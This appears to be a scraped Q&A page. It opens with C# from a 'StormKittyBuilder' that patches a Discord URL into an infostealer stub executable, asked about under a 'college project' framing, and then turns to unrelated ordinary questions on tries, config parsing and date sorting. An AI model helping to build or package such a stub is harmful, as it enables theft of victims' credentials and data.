`using Mono.Cecil; using Mono.Cecil.Cil;
using System; using System.Linq; using System.Collections.Generic;
namespace StormKittyBuilder {
internal sealed class build
{
private static Random random = new Random();
private static string RandomString(int length)
{
const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
return new string(Enumerable.Repeat(chars, length)
.Select(s => s[random.Next(s.Length)]).ToArray());
}
public static Dictionary<string, string> ConfigValues = new Dictionary<string, string>
{
{ "Discord url", "" },
{ "Mutex", RandomString(20) },
};
// Read stub
private static AssemblyDefinition ReadStub()
{
return AssemblyDefinition.ReadAssembly("stub\\stub.exe");
}
// Write stub
private static void WriteStub(AssemblyDefinition definition, string filename)
{
definition.Write(filename);
}
// Replace values in config
private static string ReplaceConfigParams(string value)
{
foreach (KeyValuePair<string, string> config in ConfigValues)
if (value.Equals($"--- {config.Key} ---"))
return config.Value;
return value;
}
// Проходим по всем классам, строкам и заменяем значения.
public static AssemblyDefinition IterValues(AssemblyDefinition definition)
{
foreach (ModuleDefinition definition2 in definition.Modules)
foreach (TypeDefinition definition3 in definition2.Types)
if (definition3.Name.Equals("Config"))
foreach (MethodDefinition definition4 in definition3.Methods)
if (definition4.IsConstructor && definition4.HasBody)
{
IEnumerator<Instruction> enumerator;
enumerator = definition4.Body.Instructions.GetEnumerator();
while (enumerator.MoveNext())
{
var current = enumerator.Current;
if (current.OpCode.Code == Code.Ldstr & current.Operand is object)
{
string str = current.Operand.ToString();
if (str.StartsWith("---") && str.EndsWith("---"))
current.Operand = ReplaceConfigParams(str);
}
}
}
return definition;
}
public static string BuildStub()
{
var definition = ReadStub();
definition = IterValues(definition);
WriteStub(definition, "bot\\build.exe");
return "bot\\build.exe";
}
} }`
Working on my college project (a discord bot), I want an .exe file
assume named as builder.exe, which can overwrite another .exe - assume named as base.exe - and we get a new .exe named output.exe.
I tried this BUILDER.EXE Github repo to overwrite my base.exe with help of builder.exe created from this repo no doubt it worked but the help I need from the master reading my problem is that I want to embed the base.exe into my builder.exe (to get a single exe file) which can read and over write base.exe and produce output.exe.
In short a single .exe file (embedded with base.exe) which read and overwrites a reference (base.exe) and produces output.exe as final result.
Related
I am fairly new to C# and working on a project in which I need to build a prefix tree (trie). Searching in the trie should return a list of words matching a given search prefix.
That's the code I have so far, but the search doesnt actually return the value I'm looking for and instead returns "Trees.PrefixTree+d__5". What am I doing wrong or what do I have to change to get it run?
Thank you very much in advance!
using System;
using System.Collections.Generic;
using System.Text;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Threading;
namespace Trees
{
public class Program
{
public static void Main()
{
//String[] file = File.ReadAllLines(#"C:\Users\samue\Desktop\Neuer Ordner (2)\liste.txt");
string[] dictionary = new string[] { "test", "try", "angle", "the", "code", "is", "isnt" };
PrefixTree trie = new PrefixTree();
var sw = new Stopwatch();
foreach (var word in dictionary)
{
trie.Add(word);
}
//Thread workerThread = new Thread(trie.Search(suchwort);
Console.WriteLine(trie.Search("te"));
}
}
public class PrefixTree
{
private PrefixTreeNode root;
public PrefixTree()
{
root = new PrefixTreeNode(String.Empty);
}
public void Add(string word)
{
AddRecursive(root, word, String.Empty);
}
private void AddRecursive(PrefixTreeNode node, string remainingString, string currentString)
{
if (remainingString.Length <= 0)
{
return;
}
char prefix = remainingString[0];
string substring = remainingString.Substring(1);
if (!node.SubNodes.ContainsKey(prefix))
{
node.SubNodes.Add(prefix, new PrefixTreeNode(currentString + prefix));
}
if (substring.Length == 0)
{
node.SubNodes[prefix].IsWord = true;
return;
}
else
{
AddRecursive(node.SubNodes[prefix], substring, currentString + prefix);
}
}
public IEnumerable<string> Search(string searchString)
{
PrefixTreeNode node = root;
foreach (var search in searchString)
{
if (!node.SubNodes.ContainsKey(search))
{
return new string[0];
}
node = node.SubNodes[search];
}
return FindAllWordsRecursive(node);
}
private IEnumerable<string> FindAllWordsRecursive(PrefixTreeNode node)
{
if (node.IsWord)
{
yield return node.Word;
}
foreach (var subnode in node.SubNodes)
{
foreach (var result in FindAllWordsRecursive(subnode.Value))
{
yield return result;
}
}
}
protected class PrefixTreeNode
{
private readonly Dictionary<char, PrefixTreeNode> subNodes;
private bool isWord;
private readonly string word;
public PrefixTreeNode(string word)
{
subNodes = new Dictionary<char, PrefixTreeNode>();
isWord = false;
this.word = word;
}
public Dictionary<char, PrefixTreeNode> SubNodes { get { return subNodes; } }
public bool IsWord { get { return isWord; } set { isWord = value; } }
public string Word { get { return word; } }
}
}
}
Try changing your Console.WriteLine() to this:
Console.WriteLine(string.Join(", ", trie.Search("te")));
You were not concatenating all the strings together!
I'm new to C# and OOP I have two different files. File A where I've created the list.
//This file will contain predetermine list of responses.
using System.Linq;
using System.Collections.Generic;
public class Responses
{
//bot name
static string nomber = "Jarvis";
List<string> answer = new List<string>(){
$"Mi nomber ta {nomber}",
"Mi ta bon"
};
public void AddToList(string value){
this.answer.Add(value);
}
public string Answer(int id)
{
return answer.ElementAt(id);
}
}
And in file B I have these two lines of code to add the string 1 to the list, I've also included the Generics and Linq System in file B.
var response = new Responses();
response.answer.Add("1");
I've tried creating a method called AddToList to pass the value and add it to the list, but with no luck. When I try to display the list at index 2 I'll get an argument out of range instead of the value "1".
*Also both files are located in the same folder.
After read your source code, I understand your problem. First you Add new element to Response.answers of Interperter and it return id then you get Response.answer of Output by that id. Of course you never get that, because they were 2 different instances.
I provide 2 options for you:
Option 1: Make Reponses single instance (singleton)
Responses.cs
using System.Linq;
using System.Collections.Generic;
public class Responses
{
private static Responses _instance = new Responses();
public static GetInstance() {
return _instance;
}
//bot name
static string nomber = "Jarvis";
List<string> answer = new List<string>(){
$"Mi nomber ta {nomber}",
"Mi ta bon"
};
public void AddToList(string value){
this.answer.Add(value);
}
public string Answer(int id)
{
return answer.ElementAt(id);
}
}
Then change on other files
//from
var responses = new Responses();
//to
var responses = Responses.GetInstance();
//from
responses.answer.Add()
//to
reponses.AddToList()
Option 2: Make Responses static
Response.cs
using System.Linq;
using System.Collections.Generic;
public static class Responses
{
//bot name
static string nomber = "Jarvis";
static List<string> answer = new List<string>(){
$"Mi nomber ta {nomber}",
"Mi ta bon"
};
public static void AddToList(string value){
this.answer.Add(value);
}
public static string Answer(int id)
{
return answer.ElementAt(id);
}
}
Output.cs
using System;
public class Output
{
public void Return(int respondType, int respond)
{
switch(respondType)
{
case 0:
Console.WriteLine(Responses.Answer(respond));
break;
default:
Console.WriteLine("Mi no ta kompronde");
break;
}
}
}
Interperter.cs
using System.Collections.Generic;
using System.Linq;
public class Interpreter
{
public int UserInputType(string value)
{
// Turns the user input into an array of words
string[] words = value.Split(' ');
int returnValue = 2;
//int match = 0;
Responses.AddToList("1");
//This stores the correct response to the given question
//var element = new List<int>();
foreach(var word in words)
{
// if(!string.IsNullOrWhiteSpace(word))
// {
foreach(var listOfQuestions in userInputedQuestions)
{
//Convert words in the listOfQuestions to array string to match them with the userInputedQuestion
string[] listOfQWords = listOfQuestions.Split(" ");
//Check how many words matches the predefined list of questions
foreach(var qWord in listOfQWords){
if(word == qWord){
returnValue = 0;
}
}
}
}
// }
return returnValue;
}
private List<string> userInputedQuestions = new List<string>(){
"Ki ta bo nomber?",
"Konta ku bo?"
};
}
Hope it helps
Does anyone know of a C# equivalent of this occassional PHP task:
Convert dot syntax like "this.that.other" to multi-dimensional array in PHP
That is, to convert a list of strings like level1.level2.level3 = item into a dictionary or multidimensional array?
I'd assume the dictionary would need to hold items of type object and I'd later cast them to Dictionary<string, string> or a string if it's a final item.
Does code like this work?
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
string input = "level1.level2.level3 = item";
string pattern = "^(?'keys'[^=]+)=(?'value'.*)";
Match match = Regex.Match(input, pattern);
string value = match.Groups["value"].Value.Trim();
string[] keys = match.Groups["keys"].Value.Trim().Split(new char[] {'.'}, StringSplitOptions.RemoveEmptyEntries);
Dictionary<string, List<string>> dict = new Dictionary<string, List<string>>();
foreach (string key in keys)
{
if (dict.ContainsKey("key"))
{
dict[key].Add(value);
}
else
{
dict.Add(key, new List<string>() { value });
}
}
}
}
}
I guess you could do it like this, though (i'm sure more optimization could be done)
using System;
using System.Collections.Generic;
public class Program
{
public class IndexedTree {
private readonly IDictionary<string, IndexedTree> _me;
private object _value;
private readonly string _splitKey = ".";
public IndexedTree this[string key] {
get {
return _me[key];
}
}
public object Value { get; set; }
public void Add(string dottedItem) {
if ( string.IsNullOrWhiteSpace( dottedItem ) ) {
throw new ArgumentException("dottedItem cannot be empty");
}
int index;
if ( (index = dottedItem.IndexOf( _splitKey ) ) < 0 ) {
throw new ArgumentException("dottedItem didn't contain " + _splitKey);
}
string key = dottedItem.Substring(0, index), rest = dottedItem.Substring(index + 1);
IndexedTree child;
if (_me.ContainsKey(key)) {
child = _me[key];
} else {
child = new IndexedTree( _splitKey );
_me.Add(key, child);
}
if (rest.IndexOf(_splitKey) >= 0) {
child.Add(rest);
} else {
// maybe it can be checked if there is already a value set here or not
// in case there is a warning or error might be more appropriate
child.Value = rest;
}
}
public IndexedTree(string splitKey) {
_splitKey = splitKey;
_me = new Dictionary<string, IndexedTree>();
}
}
public static void Main()
{
IndexedTree tree = new IndexedTree(".");
tree.Add("Level1.Level2.Level3.Item");
tree.Add("Level1.Level2.Value");
Console.WriteLine(tree["Level1"]["Level2"].Value);
Console.WriteLine(tree["Level1"]["Level2"]["Level3"].Value);
}
}
You could see the result here:
https://dotnetfiddle.net/EGagoz
I am currently developing a software that will be used by users that should not be able to access the back-end of it all but should still be able to easily change configuration/settings for the application.
I decided the best approach would be a custom "configuration file (.cfg)" located in the root of the final build.
Simple example of the .cfg file:
serveraddress='10.10.10.10'
serverport='1234'
servertimeout='15000'
Since I wanted the configuration file to easily be extended I decided to use some custom attributes and some simple LINQ.
This does work like I expect it to, but since I am still a novice in .net I am afraid I have not gone with the best approach and my question is therefor:
Is there anything I can do to improve this?
Or is there just generally a better approach for this?
This is my code for reading the configuration file and assigning the values to it's corresponding properties.
ConfigFileHandler.cs
public void ReadConfigFile()
{
var cfgFile = new ConfigFile();
var configLines = File.ReadAllLines("configfile.cfg");
var testList = configLines.Select(line => line.Split('='))
.Select(splitString => new Tuple<string, string>(splitString[0], splitString[1].Replace("'", "")))
.ToList();
foreach (var prop in typeof(ConfigFile).GetProperties())
{
var attrs = (ConfigFileFieldAttribute[])prop.GetCustomAttributes
(typeof(ConfigFileFieldAttribute), false);
foreach (var t in from attr in attrs from t in testList where t.Item1 == attr.Name select t)
{
prop.SetValue(cfgFile, t.Item2);
}
}
}
ConfigFile.cs
class ConfigFile
{
private static string _serverAddress;
private static int _serverPort;
private static int _serverTimeout;
[ConfigFileField(#"serveraddress")]
public string ServerAddress
{
get { return _serverAddress; }
set { _serverAddress= value; }
}
[ConfigFileField(#"serverport")]
public string ServerPort
{
get { return _serverPort.ToString(); }
set { _serverPort= int.Parse(value); }
}
[ConfigFileField(#"servertimeout")]
public string ServerTimeout
{
get { return _serverTimeout.ToString(); }
set { _serverTimeout= int.Parse(value); }
}
}
any tips on writing better looking code would be highly appreciated!
UPDATE:
Thanks for all the feedback.
Below is the final classes!
https://dotnetfiddle.net/bPMnJA for a live example
Please note, this is C# 6.0
ConfigFileHandler.cs
public class ConfigFileHandler
{
public void ReadConfigFile()
{
var configLines = File.ReadAllLines("configfile.cfg");
var configDictionary = configLines.Select(line => line.Split('='))
.Select(splitString => new Tuple<string, string>(splitString[0], splitString[1].Replace("'", "")))
.ToDictionary(kvp => kvp.Item1, kvp => kvp.Item2);
ConfigFile.SetDictionary(configDictionary);
}
}
ConfigFile.cs
public class ConfigFile
{
private static Dictionary<string, string> _configDictionary;
public string ServerAddress => PullValueFromConfig<string>("serveraddress", "10.1.1.10");
public int ServerPort => PullValueFromConfig<int>("serverport", "3306");
public long ServerTimeout => PullValueFromConfig<long>("servertimeout", "");
private static T PullValueFromConfig<T>(string key, string defaultValue)
{
string value;
if (_configDictionary.TryGetValue(key, out value) && value.Length > 0)
return (T) Convert.ChangeType(value, typeof (T));
return (T) Convert.ChangeType(defaultValue, typeof (T));
}
public static void SetDictionary(Dictionary<string, string> configValues)
{
_configDictionary = configValues;
}
}
You could keep the simplicity of your config file and get rid of the nested loops by loading the values into a dictionary and then passing that into your ConfigFile class.
public static void ReadConfigFile()
{
var configLines = File.ReadAllLines("configfile.cfg");
var testList = configLines.Select(line => line.Split('='))
.Select(splitString => new Tuple<string, string>(splitString[0], splitString[1].Replace("'", "")))
.ToDictionary(kvp => kvp.Item1, kvp => kvp.Item2);
var cfgFile = new ConfigFile(testList);
}
The new ConfigFile class:
class ConfigFile
{
private Dictionary<string, string> _configDictionary;
public ConfigFile(Dictionary<string, string> configValues)
{
_configDictionary = configValues;
}
public string ServerAddress
{
get { return PullValueFromConfig("serveraddress", "192.168.1.1"); }
}
public string ServerPort
{
get { return PullValueFromConfig("serverport", "80"); }
}
public string ServerTimeout
{
get { return PullValueFromConfig("servertimeout", "900"); }
}
private string PullValueFromConfig(string key, string defaultValue)
{
string value;
if (_configDictionary.TryGetValue(key, out value))
return value;
return defaultValue;
}
}
I decided to use a custom "configuration file (.cfg)" located in the root of the final build.
Good idea. For cleaner code, you could use JSON and JSON.NET for de/serialization and put the read/write into the ConfigFile class. Here is an example that is live as a fiddle.
The ConfigFile class is responsible for loading and saving itself and uses JSON.NET for de/serialization.
public class ConfigFile
{
private readonly static string path = "somePath.json";
public string ServerAddress { get; set; }
public string ServerPort { get; set; }
public string ServerTimeout { get; set; }
public void Save()
{
var json = JsonConvert.SerializeObject(this, Formatting.Indented);
File.WriteAllText(path, json)
}
public static ConfigFile Load()
{
var json = File.ReadAllText(path);
return JsonConvert.DeserializeObject<ConfigFile>(json);
}
}
Here is how you would use it to load the file, change its properties, and save.
ConfigFile f = ConfigFile.Load();
f.ServerAddress = "0.0.0.0";
f.ServerPort = "8080";
f.ServerTimeout = "400";
f.Save();
We use the .json file extension as a convention. You could still use .cfg because it's just plain text with a specific syntax. The resultant config file content from the above usage is this:
{
"ServerAddress":"0.0.0.0",
"ServerPort":"8080",
"ServerTimeout":"400"
}
You could just tell your clients to "change the numbers only". Your approach is fine, as far as I'm concerned. The above is just a cleaner implementation.
Firstly, I would do what Phil did, and store your testlist in a Dictionary.
var configLines = File.ReadAllLines("configfile.cfg");
var testDict = configLines.Select(line => line.Split('=', 2))
.ToDictionary(s => s[0], s => s[1].Replace("'", ""));
Then you can clean up the property assignment LINQ a bit:
foreach (var prop in typeof(ConfigFile).GetProperties())
{
var attr = prop.GetCustomAttributes(false)
.OfType<ConfigFileFieldAttribute>()
.FirstOrDefault();
string val;
if (attr != null && testDict.TryGetValue(attr.Name, out val))
prop.SetValue(cfgFile, val);
}
You might even be able to call:
var attr = prop.GetCustomAttributes<ConfigFileFieldAttribute>(false).FirstOrDefault();
Don't have an IDE on me so I can't check right now
Code:
while ((linevalue = filereader.ReadLine()) != null)
{
items.Add(linevalue);
}
filereader.Close();
items.Sort();
//To display the content of array (sorted)
IEnumerator myEnumerator = items.GetEnumerator();
while (myEnumerator.MoveNext())
{
Console.WriteLine(myEnumerator.Current);
}
The program above displays all the values. How to extract only the dates and sort it in ascending order?
I am not let to work with linq, use the exception or threading or any other stuff. I have to stick with the File Stream, try to get my data out of the text file, sort and store it, so that i can retrieve it, view it and edit it and search for any particular date and see the date of joining records for that date. Can't figure out. Struggling
Basically, don't try and work with the file as lines of text; separate that away, so that you have one piece of code which parses that text into typed records, and then process those upstream when you only need to deal with typed data.
For example (and here I'm assuming that the file is tab-delimited, but you could change it to be column indexed instead easily enough); look at how little work my Main method needs to do to work with the data:
using System;
using System.Collections.Generic;
using System.Globalization;
using System.IO;
using System.Linq;
static class Program
{
static void Main()
{
foreach (var item in ReadFile("my.txt").OrderBy(x => x.Joined))
{
Console.WriteLine(item.Names);
}
}
static readonly char[] tab = { '\t' };
class Foo
{
public string Names { get; set; }
public int Age { get; set; }
public string Designation { get; set; }
public DateTime Joined { get; set; }
}
static IEnumerable<Foo> ReadFile(string path)
{
using (var reader = File.OpenText(path))
{
// skip the first line (headers), or exit
if (reader.ReadLine() == null) yield break;
// read each line
string line;
var culture = CultureInfo.InvariantCulture;
while ((line = reader.ReadLine()) != null)
{
var parts = line.Split(tab);
yield return new Foo
{
Names = parts[0],
Age = int.Parse(parts[1], culture),
Designation = parts[2],
Joined = DateTime.Parse(parts[3], culture)
};
}
}
}
}
And here's a version (not quite as elegant, but working) that works on .NET 2.0 (and probably on .NET 1.1) using only ISO-1 language features; personally I think it would be silly to use .NET 1.1, and if you are using .NET 2.0, then List<T> would be vastly preferable to ArrayList. But this is "worst case":
using System;
using System.Collections;
using System.Globalization;
using System.IO;
class Program
{
static void Main()
{
ArrayList items = ReadFile("my.txt");
items.Sort(FooByDateComparer.Default);
foreach (Foo item in items)
{
Console.WriteLine(item.Names);
}
}
class FooByDateComparer : IComparer
{
public static readonly FooByDateComparer Default
= new FooByDateComparer();
private FooByDateComparer() { }
public int Compare(object x, object y)
{
return ((Foo)x).Joined.CompareTo(((Foo)y).Joined);
}
}
static readonly char[] tab = { '\t' };
class Foo
{
private string names, designation;
private int age;
private DateTime joined;
public string Names { get { return names; } set { names = value; } }
public int Age { get { return age; } set { age = value; } }
public string Designation { get { return designation; } set { designation = value; } }
public DateTime Joined { get { return joined; } set { joined = value; } }
}
static ArrayList ReadFile(string path)
{
ArrayList items = new ArrayList();
using (StreamReader reader = File.OpenText(path))
{
// skip the first line (headers), or exit
if (reader.ReadLine() == null) return items;
// read each line
string line;
CultureInfo culture = CultureInfo.InvariantCulture;
while ((line = reader.ReadLine()) != null)
{
string[] parts = line.Split(tab);
Foo foo = new Foo();
foo.Names = parts[0];
foo.Age = int.Parse(parts[1], culture);
foo.Designation = parts[2];
foo.Joined = DateTime.Parse(parts[3], culture);
items.Add(foo);
}
}
return items;
}
}
I'm not sure why you'd want to retrieve just the dates. You'd probably be better reading your data into Tuples first. Something like
List<Tuple<string, int, string, DateTime>> items.
Then you can sort them by items.Item4, which will be the date.
You can use LINQ and split the line according to tabs to only retrieve the date and order them through a conversion to date.
while ((linevalue = filereader.ReadLine()) != null)
{
items.Add(linevalue.Split('\t').Last());
}
filereader.Close();
items.OrderBy(i => DateTime.Parse(i));
foreach(var item in items)
{
Console.WriteLine(item);
}
get the desired values in Array from the file...
public class DateComparer : IComparer {
public int Compare(DateTime x, DateTime y) {
if(x.Date > y.Date)
return 1;
if(x.Date < y.Date)
return -1;
else
return 0;
}
}
list.Sort(new DateComparer());